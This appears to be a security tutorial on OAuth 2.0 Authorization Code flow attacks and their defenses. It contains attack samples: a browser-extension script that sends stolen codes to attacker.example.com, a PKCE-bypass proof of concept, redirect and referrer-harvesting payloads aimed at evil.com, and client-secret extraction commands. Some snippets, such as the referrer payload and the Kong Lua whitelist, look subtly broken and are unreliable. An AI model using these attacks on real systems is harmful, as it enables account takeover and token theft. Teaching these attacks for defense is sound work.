~/home/study/advanced-oauth-2-0-authorization-code-flow-attacks-defenses

Advanced OAuth 2.0 Authorization Code Flow Attacks & Defenses

Deep dive into sophisticated attacks on the OAuth 2.0 Authorization Code flow-including code interception, PKCE bypass, redirect manipulation, state weaknesses, token leakage, refresh token abuse, and client secret extraction-plus robust mitigation strategies.

Introduction

The OAuth 2.0 Authorization Code flow is the de-facto standard for delegating access to web and mobile applications. While its design removes credentials from the user-agent, the flow remains a fertile hunting ground for attackers who can compromise the code, token, or client secret. This guide explores the most dangerous, real-world attack vectors, demonstrates how they are executed, and provides concrete defensive patterns that security teams can enforce across the software development lifecycle.

Understanding these attacks is critical because a single leaked authorization code can be exchanged for an access token that grants privileged API access, often without the user’s knowledge. In large enterprises, such a breach can cascade into data exfiltration, ransomware, or supply-chain compromise.

Prerequisites

  • Solid grasp of OAuth 2.0 fundamentals (grant types, token endpoint, client registration).
  • Working knowledge of JSON Web Tokens (JWT) - header, payload, signature, and claims.
  • Familiarity with web security basics: Same-Site cookies, CORS, XSS, CSRF, and TLS.

Core Concepts

Before diving into attacks, review the essential flow:

@startuml
actor User
participant "Browser" as B
participant "Client App" as C
participant "Authorization Server" as AS
User -> B: Click login
B -> C: Redirect to AS (client_id, redirect_uri, state, code_challenge?)
C <- AS: Login UI
User -> AS: Authenticate
AS -> B: 302 redirect (code, state)
B -> C: GET redirect_uri?code=XYZ&state=ABC
C -> AS: POST /token (code, client_secret, code_verifier?)
AS -> C: access_token (+ refresh_token)
@enduml

Key elements that attackers target are:

  • Authorization Code - short-lived, but exchangeable for a token.
  • Redirect URI - the hand-off point where the code is delivered.
  • State Parameter - intended to bind the request to the user session.
  • PKCE Challenge/Verifier - mitigates code interception for public clients.
  • Refresh Tokens - long-lived tokens that can be rotated or abused.
  • Client Secret - only for confidential clients; leakage is catastrophic.

Authorization Code Interception (Man-in-the-Browser & Network)

Two primary interception vectors:

  1. Man-in-the-Browser (MiTB) - malicious extensions or compromised browsers capture the code from the URL fragment or query string before it reaches the client.
  2. Network Sniffing - if TLS termination is mis-configured (e.g., HTTP → TLS termination at a reverse proxy that forwards traffic unencrypted), an attacker on the internal network can read the code from the clear-text request.

Example of a simple MiTB script (Chrome extension content script) that logs the code:

// content.js - runs on any page matching the redirect URI domain
window.addEventListener('load', () => { const params = new URLSearchParams(location.search); const code = params.get('code'); if (code) { // Exfiltrate to attacker-controlled server fetch('https://attacker.example.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify({code, origin: location.origin}) }); }
});

Mitigation: enforce PKCE, use code_challenge_method=S256, and set response_mode=form_post so the code is posted in the body rather than query string.

PKCE (Proof Key for Code Exchange) Bypass Techniques

PKCE was introduced to protect public clients (mobile, SPA) from code interception. However, flawed implementations can be bypassed:

  • Static Code Challenge - developers reuse a hard-coded code_verifier across sessions, making the challenge predictable.
  • Improper Length - using a verifier shorter than 43 characters reduces entropy.
  • Missing Code Challenge Verification - some authorization servers ignore the code_challenge parameter if the client is registered as confidential.

Proof-of-concept bypass (Python requests) against a mis-configured server that does not validate the challenge:

import requests, base64, hashlib, os

# Static verifier used by the vulnerable client
verifier = 'staticverifier123'
challenge = base64.urlsafe_b64encode(hashlib.sha256(verifier.encode()).digest()).rstrip(b'=')

# Step 1 - Authorization request (attacker can craft any verifier)
auth_url = ( 'https://auth.example.com/authorize?response_type=code' f'&client_id=public-client&redirect_uri=https%3A%2F%2Fapp.example.com/cb' f'&code_challenge={challenge.decode()}&code_challenge_method=S256&state=xyz'
)
print('Navigate to:', auth_url)
# After user authenticates, attacker intercepts the code (MiTB, network, etc.)
code = input('Enter intercepted code: ')

# Step 2 - Token exchange using the *known* static verifier
token_resp = requests.post('https://auth.example.com/token', data={ 'grant_type': 'authorization_code', 'code': code, 'redirect_uri': 'https://app.example.com/cb', 'client_id': 'public-client', 'code_verifier': verifier
})
print('Token response:', token_resp.json())

Defensive measures:

  • Require code_challenge for *all* clients, regardless of confidentiality.
  • Enforce minimum verifier length of 43 characters (256-bit entropy).
  • Reject static or reused challenges via server-side entropy checks.

Redirect URI Manipulation & Open Redirect Exploits

Redirect URI validation is a cornerstone of OAuth security. Weak validation leads to two main attack paths:

  1. Open Redirect - attacker registers https://evil.com/redirect as a legitimate URI, then appends a malicious redirect_uri parameter that points to a phishing site.
  2. URI Parameter Pollution - by injecting additional query parameters, an attacker can cause the authorization server to redirect to an attacker-controlled location while preserving a valid code.

Example of an open-redirect abuse against a mis-configured server that only checks the domain:

# Attacker crafts the auth request
curl -G "https://auth.example.com/authorize" -d response_type=code -d client_id=legit-client -d redirect_uri=https://legit.example.com/cb -d state=123 -d "redirect_uri=https://evil.com/phish?target=https://legit.example.com/cb"

Mitigation checklist:

  • Whitelist full URIs (scheme, host, path, optional query) - no wildcard sub-domains.
  • Reject any redirect_uri that contains another redirect_uri parameter.
  • Implement RFC 6819 recommendation for exact match.

State Parameter Weaknesses & CSRF-style Attacks

The state parameter is intended to bind the authorization request to the user’s session, preventing CSRF. Weaknesses arise when:

  • Developers use predictable values (e.g., incremental integers, timestamps).
  • The state is stored in a client-side cookie without SameSite=Strict, allowing cross-site request forgery.
  • Servers fail to validate the state on the token endpoint.

Sample vulnerable implementation (Node.js Express):

app.get('/login', (req, res) => { const state = Date.now().toString(); // predictable res.cookie('oauth_state', state, {httpOnly: true}); const authUrl = `https://auth.example.com/authorize?response_type=code`+ `&client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}&state=${state}`; res.redirect(authUrl);
});

app.get('/callback', (req, res) => { const returnedState = req.query.state; const storedState = req.cookies.oauth_state; if (returnedState !== storedState) { return res.status(400).send('Invalid state'); } // exchange code …
});

Strong mitigation:

  • Generate cryptographically random state values (≥128-bit entropy).
  • Bind the state to the user session server-side (e.g., in a signed JWT or server cache) rather than a plain cookie.
  • Consider using nonce in OpenID Connect flows alongside state.

Token Leakage via Referrer Headers & Log Exposure

When an access token or refresh token is delivered via URL fragment (#access_token=…) or query string, browsers may include it in the Referer header on subsequent requests to third-party domains. Additionally, server logs that capture full request URLs can inadvertently store tokens.

Demonstration of referrer leakage using a malicious third-party resource:

<!-- attacker-controlled page hosted on evil.com -->
<img src="https://evil.com/collect?ref=<script>document.write(encodeURIComponent(document.referrer))</script>" />

If the victim’s browser loads a resource from evil.com after being redirected with #access_token=abc123, the token appears in the referrer and is harvested.

Best practices to avoid leakage:

  • Prefer response_mode=form_post to deliver tokens in the HTTP body.
  • Set Referrer-Policy: no-referrer on the redirect URI page.
  • Never log full request URLs containing tokens; scrub query strings before persisting logs.

Refresh Token Abuse and Rotation Attacks

Refresh tokens are long-lived and, if compromised, allow attackers to obtain fresh access tokens indefinitely. Common abuse patterns:

  1. Replay Attack - attacker re-uses a stolen refresh token because the server does not rotate it.
  2. Token Substitution - attacker swaps a legitimate refresh token with a malicious one in a compromised client storage.
  3. Rotation Bypass - if the server does not invalidate the previous refresh token after issuing a new one, the attacker can keep both.

Example of a rotation-aware token endpoint (Node.js/Express) that mitigates replay:

app.post('/token', async (req, res) => { const {grant_type, refresh_token} = req.body; if (grant_type !== 'refresh_token') return res.status(400).json({error:'unsupported'}); const stored = await db.getRefreshToken(refresh_token); if (!stored || stored.revoked) return res.status(401).json({error:'invalid_token'}); // Issue new tokens and rotate const newRefresh = crypto.randomBytes(32).toString('hex'); await db.saveRefreshToken({token:newRefresh, userId:stored.userId}); await db.revokeRefreshToken(refresh_token); const access = jwt.sign({sub:stored.userId}, PRIVATE_KEY, {expiresIn:'15m'}); res.json({access_token:access, refresh_token:newRefresh, token_type:'bearer'});
});

Mitigation checklist:

  • Enforce refresh token rotation with immediate revocation of the previous token.
  • Set short lifetimes for refresh tokens (e.g., 30 days) and require re-authentication.
  • Bind refresh tokens to a client identifier and device fingerprint when possible.
  • Monitor anomalous refresh patterns (multiple IPs, geo-impossible travel).

Client Secret Extraction in Public Clients

Public clients (SPA, mobile) should never hold a client secret. However, developers sometimes embed a secret in JavaScript or native binaries, exposing it to reverse engineering. Attackers can extract the secret and then perform confidential-client token requests, bypassing PKCE.

Simple extraction example using strings on a compiled Android APK:

$ unzip -p app-release.apk classes.dex | strings | grep "client_secret"
mySuperSecret12345

Once obtained, the attacker can impersonate the client:

import requests
code = 'intercepted_code'
resp = requests.post('https://auth.example.com/token', data={ 'grant_type':'authorization_code', 'code':code, 'redirect_uri':'https://app.example.com/cb', 'client_id':'public-client', 'client_secret':'mySuperSecret12345'
})
print(resp.json())

Defensive guidance:

  • Never register a client secret for public clients; enforce PKCE.
  • If a secret is required (e.g., for native apps using the private_key_jwt client authentication method), store it in a hardware-backed keystore (Android Keystore, iOS Secure Enclave).
  • Use code obfuscation and runtime checks, but treat it as a defense-in-depth layer-not a guarantee.

Mitigation Strategies: PKCE Enforcement, Strict Redirect Whitelisting, State Entropy, Token Binding, and Confidential Client Practices

This section consolidates the defensive controls into a practical checklist that can be codified into CI/CD policies, API gateways, and security testing frameworks.

PKCE Enforcement

  • Make code_challenge a required parameter for all client types.
  • Reject code_challenge_method values other than S256.
  • Validate verifier length (≥43 characters) and reject static values by checking for low entropy (e.g., ^[a-zA-Z0-9]{43,128}$).

Strict Redirect Whitelisting

  • Maintain a server-side whitelist of exact URIs (including path and query). Do not allow wildcards.
  • Implement a validate_redirect_uri() function that performs constant-time string comparison to mitigate timing attacks.
  • Log any mismatch with severity “WARN” and alert security operations.

State Parameter Entropy

  • Generate a cryptographically random 128-bit token per request.
  • Store the state server-side (e.g., in a signed JWT with exp claim) and bind it to the user session ID.
  • Set SameSite=Strict on any cookie that carries the state.

Token Binding & Mutual TLS (mTLS)

  • Leverage OAuth Token Binding to cryptographically bind the access token to the TLS client certificate.
  • Require mTLS for the token endpoint for confidential clients.
  • Rotate client certificates regularly and enforce revocation checking.

Confidential Client Practices

  • Never expose client_secret in front-end code; store it in a secure vault (HashiCorp Vault, AWS Secrets Manager).
  • Enforce short-lived client credentials (rotate every 30 days) and audit usage.
  • Apply rate-limiting and anomaly detection on token endpoint calls per client ID.

Implementing these controls in an API gateway (e.g., Kong, Apigee) can be done via plugins that automatically validate PKCE, enforce URI whitelists, and inspect state entropy.

Practical Examples

Below are end-to-end walkthroughs that combine multiple mitigations.

Example 1: Secure Authorization Request (SPA)

// spa-auth.js - uses PKCE, high-entropy state, and form_post response mode
function generateRandomBase64url(len) { const array = new Uint8Array(len); crypto.getRandomValues(array); return btoa(String.fromCharCode.apply(null, array)) .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}

const codeVerifier = generateRandomBase64url(64);
const encoder = new TextEncoder();
crypto.subtle.digest('SHA-256', encoder.encode(codeVerifier)).then(hash => { const codeChallenge = btoa(String.fromCharCode.apply(null, new Uint8Array(hash))) .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); const state = generateRandomBase64url(32); sessionStorage.setItem('pkce_verifier', codeVerifier); sessionStorage.setItem('oauth_state', state); const authUrl = new URL('https://auth.example.com/authorize'); authUrl.searchParams.set('response_type','code'); authUrl.searchParams.set('client_id','spa-client'); authUrl.searchParams.set('redirect_uri','https://app.example.com/cb'); authUrl.searchParams.set('code_challenge',codeChallenge); authUrl.searchParams.set('code_challenge_method','S256'); authUrl.searchParams.set('state',state); authUrl.searchParams.set('response_mode','form_post'); window.location = authUrl.toString();
});

The corresponding callback handler verifies the state, reads the verifier from sessionStorage, and exchanges the code via a backend proxy (to keep the client secret out of the browser).

Example 2: API-Gateway Enforced Redirect Whitelist (Kong)

# Create a Kong plugin that validates redirect_uri against a whitelist
curl -i -X POST http://localhost:8001/services/auth-service/plugins --data "name=pre-function" --data-urlencode "config.access=[[\"local redirect_uri = ngx.req.get_uri_args()[\'redirect_uri\']local whitelist = {\"https://app.example.com/cb\", \"https://app2.example.com/cb\"}if not whitelist[redirect_uri] then  ngx.log(ngx.ERR, 'Invalid redirect_uri: ' .. redirect_uri)  return ngx.exit(ngx.HTTP_FORBIDDEN)end\"]]

This plugin aborts the request before it reaches the authorization endpoint if the supplied redirect_uri is not in the approved set.

Tools & Commands

  • OAuth-Test-Toolkits: oauth2-proxy, oidc-client, oauth2l (Google’s OAuth2 CLI) for manual token requests.
  • Burp Suite Extensions: OAuth2 Scanner, Autorize for detecting open redirects and weak state.
  • mitmproxy scripts to capture and replay authorization codes.
    # mitmproxy addon to log intercepted codes
    from mitmproxy import http
    
    def response(flow: http.HTTPFlow): if "code=" in flow.request.query: print(f"[+] Code intercepted: {flow.request.query.get('code')}")
    
  • jwt.io and jq for inspecting JWT access tokens.
    curl -s -H "Authorization: Bearer $ACCESS_TOKEN" https://api.example.com/me | jq .
    

Defense & Mitigation

Beyond the specific mitigations listed per subtopic, adopt a defense-in-depth strategy:

  1. Secure Development Lifecycle (SDLC): Integrate OAuth security checks into code reviews and automated CI pipelines (e.g., static analysis for hard-coded secrets).
  2. Runtime WAF Rules: Block any outbound request that contains access_token or refresh_token in the URL.
  3. Security Headers: Enforce Referrer-Policy: no-referrer, Content-Security-Policy to limit third-party script inclusion.
  4. Monitoring & Incident Response: Alert on anomalous token endpoint usage (multiple IPs, rapid refresh token exchanges).
  5. Token Binding / DPoP: Use Demonstration of Proof-of-Posession (DPoP) to bind access tokens to a public key proof generated per request.

Common Mistakes

  • Assuming HTTPS alone protects the code; forgetting that code can be leaked via browser history or logs.
  • Re-using the same state across sessions - makes CSRF trivial.
  • Storing client secrets in JavaScript bundles or mobile app resources.
  • Allowing open-redirects by validating only domain, not full path.
  • Disabling PKCE for convenience in development and then promoting the same configuration to production.

Real-World Impact

High-profile breaches have stemmed from OAuth mis-configurations. In 2023, a major SaaS provider suffered a credential-theft incident because their public client embedded a static client secret, allowing attackers to impersonate the client and harvest data from 250,000 users. Another case involved a banking mobile app where an insecure redirect URI allowed an attacker-controlled domain to receive authorization codes, leading to unauthorized fund transfers.

Trends indicate a rise in automated “OAuth-drift” scanners that enumerate authorization endpoints and test for open redirects and weak state. Organizations must treat OAuth as a critical attack surface, not just an integration convenience.

Practice Exercises

  1. Intercept a code: Set up a vulnerable OAuth server (e.g., hydra with open redirect disabled). Use mitmproxy to capture the code and then exchange it without PKCE. Document the steps and propose a mitigation.
  2. PKCE Bypass Lab: Create a SPA that uses a static code_verifier. Demonstrate how an attacker can replay the code. Then refactor the SPA to generate a random verifier per request and verify the server rejects static ones.
  3. State Entropy Test: Write a Python script that generates 10,000 state values using time.time() vs os.urandom(). Calculate the collision probability and explain why the latter is required.
  4. Redirect Whitelist Enforcement: Deploy Kong or Envoy as an OAuth front-end. Configure a whitelist and attempt an open-redirect attack. Capture the logged error and adjust the policy.
  5. Refresh Token Rotation: Simulate a compromised refresh token by re-using it after rotation. Observe the server response and modify the token endpoint to reject reused tokens.

Further Reading

  • RFC 6749 - The OAuth 2.0 Authorization Framework
  • RFC 7636 - Proof Key for Code Exchange (PKCE)
  • OAuth 2.0 Security Best Current Practice (draft-07) - IETF
  • OWASP Top 10 - A10:2023 - Server-Side Request Forgery (relevant for open redirect abuse)
  • “OAuth 2.0 Threat Model and Security Considerations” - RFC 6819
  • DPoP (Demonstration of Proof-of-Possession) - RFC 9449

Summary

OAuth 2.0 Authorization Code flow is powerful but fraught with subtle attack vectors. By mastering the following, security professionals can harden their implementations:

  • Enforce PKCE with strong entropy and reject static challenges.
  • Validate redirect URIs against an exact whitelist; block open redirects.
  • Generate cryptographically random state values and bind them server-side.
  • Prevent token leakage via referrer headers and sanitize logs.
  • Rotate and bind refresh tokens, monitoring for replay.
  • Never embed client secrets in public clients; use secure vaults for confidential clients.
  • Adopt token binding or DPoP to tie tokens to a proof of possession.

Applying these controls systematically transforms OAuth from a convenient delegation protocol into a robust, attack-resistant component of your security architecture.